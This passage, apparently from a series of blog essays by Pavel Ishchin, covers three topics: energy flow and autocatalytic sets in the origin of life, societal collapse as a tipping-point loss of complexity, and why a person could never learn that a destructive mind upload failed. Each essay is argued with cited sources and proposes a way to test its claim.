The second part is self-reinforcement, and it is best read as a property of the chemistry itself, of which reactions feed which. Run energy through a chemistry that cannot promote its own persistence and you get nothing that lasts: the flux drives reactions, the products fall apart, and no structure accumulates that holds itself together. To get a self-maintaining structure you need a reaction, or a web of them, whose products help make more of themselves, an autocatalytic core (an autocatalytic or RAF set you can spot just by inspecting the reaction network). That core is what the energy throughput then sustains, far from equilibrium. Take the core away and the throughput just dissipates, leaving nothing.

The real claim is that each part is necessary on its own. Throughput with no self-reinforcing chemistry leaves no self-maintaining structure. Self-reinforcement with no throughput cannot survive, because the moment the flow stops the structure slides back toward equilibrium and dies. A chemistry for the origin of life has to satisfy both at once, and any story that leans on just one of them is missing half the answer.

Are the two conditions also sufficient?

Are the two together enough? That is a further question, and I am only flagging it. Whether any energy-fed self-reinforcing chemistry reliably gives rise to self-maintaining organization probably depends on more, like how richly the reactions interconnect. Nothing here rests on settling it.

How could the claim be tested, and falsified?

The two-part claim is testable as a clean double dissociation. Take an established self-maintaining system and cut its energy supply: it should relax toward equilibrium and lose its organization over some finite time, set by its slowest internal turnover rather than by any single dissipation number, so a trapped, leftover husk can linger a while. Now restore the energy but remove the self-reinforcing reaction: nothing self-maintaining should form, because the flux has nothing to hold up. Each cut alone kills it, and neither ingredient stands in for the other. The two halves fail in different ways. If a structure whose parts are genuinely being turned over sits there with no energy flowing at all, the energy condition is wrong. If self-maintenance arises under energy flow on a chemistry whose reaction network provably has no self-feeding core, the self-reinforcement condition is wrong. A crystal does not count against the first test, because its parts are not being turned over, so it was never self-maintaining in this sense.

Sources

Morowitz, H. J. (1968). Energy Flow in Biology. Academic Press, New York.
England, J. L. (2013). Statistical physics of self-replication. The Journal of Chemical Physics 139(12), 121923.
Schrödinger, E. (1944). What is Life? Cambridge University Press.
Nicolis, G., and Prigogine, I. (1977). Self-Organization in Nonequilibrium Systems. Wiley, New York.
Kauffman, S. A. (1986). Autocatalytic sets of proteins. Journal of Theoretical Biology 119(1), 1-24.
Hordijk, W., and Steel, M. (2004). Detecting autocatalytic, self-sustaining sets in chemical reaction systems. Journal of Theoretical Biology 227(4), 451-461.

Why civilizations collapse: a society shedding complexity past a tipping point

Pavel Ishchin — Thu, 09 Jul 2026 20:55:17 +0000

Societal collapse is best understood not as moral decline or external conquest but as a rapid loss of sociopolitical complexity. A society builds complexity to solve problems, the returns on that complexity diminish until the structure no longer pays for itself, and a shock then tips it into rapid simplification. This has the dynamics of a critical transition: it holds until a threshold, then shifts fast. And it should be preceded by two observable signs, a measurable decline in the marginal return on added complexity, and the generic early-warning signatures of an approaching transition (slower recovery from disturbances, rising variance in key indicators).

When a civilization falls, we reach for stories: it grew decadent, or an enemy destroyed it. There is a more structural way to see it, and it travels better across cases. Joseph Tainter (1988) defined collapse not as decline and not as conquest, but as a rapid, large loss of an established level of sociopolitical complexity. A society builds up administration, infrastructure, specialists, all to solve problems, and that complexity pays off, at first. The trouble is that the payoff shrinks. Each new layer of complexity solves a little less and costs a little more, until the society is straining to maintain an elaborate apparatus that no longer earns its keep. Then a shock that a leaner society would have shrugged off can instead trigger a fast shedding of complexity, down to a simpler level it can actually sustain. The suddenness is not a puzzle; it is the point.

Is collapse sudden or gradual?

That suddenness has a familiar shape in other sciences. Other systems do this too, a lake, a climate, a market. They look steady, hold steady, then flip fast at a tipping point. Scientists call it a critical transition. Marten Scheffer and colleagues (2009) showed these transitions are everywhere, and that they often announce themselves: as the system nears the edge, it recovers more slowly from small disturbances and its fluctuations grow. Put next to Tainter, a collapsing society looks like a critical transition, with the loss of complexity as the flip and diminishing returns as what drive the system toward the edge. The reading does come with a condition. A true tipping point needs the high-complexity state and the collapsed state to be genuinely separate stable states, so that the system jumps between them rather than sliding smoothly down one slope; the early-warning signs are meaningful only in that case. One more caution: those warning signs are generic, shared by many kinds of tipping points, so on their own they show that something tipped, not that diminishing returns were the cause. What pins the cause is the falling return on complexity arriving alongside, and ideally ahead of, the warning signs. No virtue or villainy required, just dynamics.

The same shape, a structure propped up by ever-larger investment under falling returns until a shock tips it into rapid simplification, is tempting to see in other over-extended systems. I am only gesturing at that, and nothing here rests on it. The solid claim is about societies: collapse is a loss of complexity, with the dynamics of a threshold crossing.

It is testable, and the test looks at the run-up. Two things should show before a collapse. The returns on added complexity should be visibly falling, the society paying more for less; you could track this by watching output per person against the size of the administrative and specialist apparatus, and asking whether each added layer buys less than the last. And the generic early-warning signs of an approaching transition should appear, slower recovery from shocks and rising variability in key measures, before the fall itself. These two signs test different things. If the returns are not falling, the diminishing-returns story is wrong. If there is no slowing-down signature beyond normal noise, only the tipping-point framing fails, and the plainer simplification story still stands. The account holds where both signs reliably precede the shift, with the falling returns arriving first.

Sources

Tainter, J. A. (1988). The Collapse of Complex Societies. Cambridge University Press.
Scheffer, M., Bascompte, J., Brock, W. A., et al. (2009). Early-warning signals for critical transitions. Nature 461, 53-59.

Why you could never find out whether uploading "worked"

Pavel Ishchin — Wed, 08 Jul 2026 16:52:19 +0000

If you destructively upload (or teleport) your mind, you can never find out whether it "worked." Treat it as a bet on your own continuation: if the copy is not you, you are gone and never learn you lost; if the copy is you, you carry on and can tell you continued, but with nothing having felt at risk. The one thing you could never observe is the very thing at stake, the absence of your own continuation. So unlike most consequential choices, the failure can never be confirmed or corrected by experience; it can only be settled before the fact, by argument about what continuation consists in. This holds independently of whether Parfit's Relation R (psychological continuity) is the right account of survival.

Suppose the technology arrives to copy a mind: scan a brain in fine enough detail, build a working replica, and switch it on. The replica wakes up convinced it is you, with your memories, your habits, your unfinished arguments. The original, in the destructive version, is gone. Should you do it? Most of the debate over mind uploading and personal identity asks whether the upload "is really you." There is a stranger feature of the choice that gets less attention, and it is the point of this piece: if the copy is not you, you can never be shown that you were right or wrong, because the one outcome that would settle it is the one you could never live to observe.

Is an uploaded mind still you? Parfit's reframing

Start with the standard debate. One camp says the upload is not you: you died, and a convincing stranger now wears your memories. The other says the upload is you, or close enough, because what makes you you is the pattern, and the pattern continues.

Derek Parfit (1984) reframed this in a way that has shaped the field. He argued that the thing we actually care about in survival is not strict identity but what he called Relation R, psychological continuity and connectedness, the ongoing thread of memory, intention, and character. On Parfit's view the question "but is it really, numerically, me?" may have no deep answer, and chasing it is a mistake; what matters is whether Relation R holds. David Chalmers (2010), analyzing uploading directly, separates the cases: gradual replacement, neuron by neuron with the lights never going out, looks much more like survival than a sudden destructive scan-and-rebuild. Reasonable people land in different places.

Why you could never find out if your upload "worked"

Here is the feature that holds no matter which camp is correct. Take the destructive case as a bet you are placing on your own continuation, and watch what happens to the losing side of it.

If the pessimists are right and the upload is not you, then you, the one who placed the bet, are simply gone. You do not wake up to discover you guessed wrong. There is no moment of "I have lost." The one who experiences the aftermath is the upload, who feels fine and was, on this view, never at risk.

If the optimists are right and the upload is you, then you wake up as the upload and carry on. You can tell perfectly well that you continued; what you never get is a moment of "I have been saved," because nothing felt threatened from the inside. You continue the way you continue across a night of dreamless sleep, having learned that it worked but never having felt it might not.

So the two cases are lopsided. A loser who never learns they lost, a winner who learns they won but never feels rescued. The winner does find out the good news; it is the bad news that can never reach anyone. Most consequential choices pay out in experience either way: you find out whether the surgery worked, whether the marriage held, whether the bet came in. The failure of this one does not. The very thing at stake, your continuation, is exactly the thing whose absence you could never observe.

Why this is a distinct kind of stake

This is more than the old point that one's own death is not experienced. Here the choice is deliberate, the question is live and unsettled, and the structure guarantees in advance that the chooser is sealed off from the bad verdict. You can reason about Relation R, you can prefer gradual to destructive uploading, you can decide. What you cannot do, ever, is be the one who finds out you lost.

That puts the choice in an unusual class. It is not settled by waiting and seeing, because the seeing is the part that is foreclosed. It has to be settled, if at all, before the fact, on what you think continuation consists in. The argument carries the whole weight, because experience will never arrive to confirm or correct it.

How the claim could be proven wrong

The claim here is a claim about what is possible in principle, so its test is too. The target is the bad outcome, not the good one. If someone shows a version of the destructive upload in which the one with the stake in it can, even in principle, come to occupy the state of having lost, that is, come to know that their own continuation failed, then the asymmetry is not essential and this framing is too strong. I claim there is no such version. On the losing reading you do not survive, so anyone left to learn the outcome is either the upload or a third party, and neither is you. The winning case is left out on purpose: the survivor there does learn the good news, they just never learn it as a verdict against a failure they could have lived through, because that failure is one nobody is ever around to register. If that holds up, the failure of the destructive upload is decided wholly in advance, because it is the one result that is, by construction, never delivered to the one who chose.

Sources

Parfit, D. (1984). Reasons and Persons. Oxford University Press. (Personal identity; Relation R; the teletransporter and branch-line cases.)
Chalmers, D. J. (2010). The singularity: a philosophical analysis. Journal of Consciousness Studies 17(9-10), 7-65. (Uploading and personal identity; gradual versus destructive uploading.)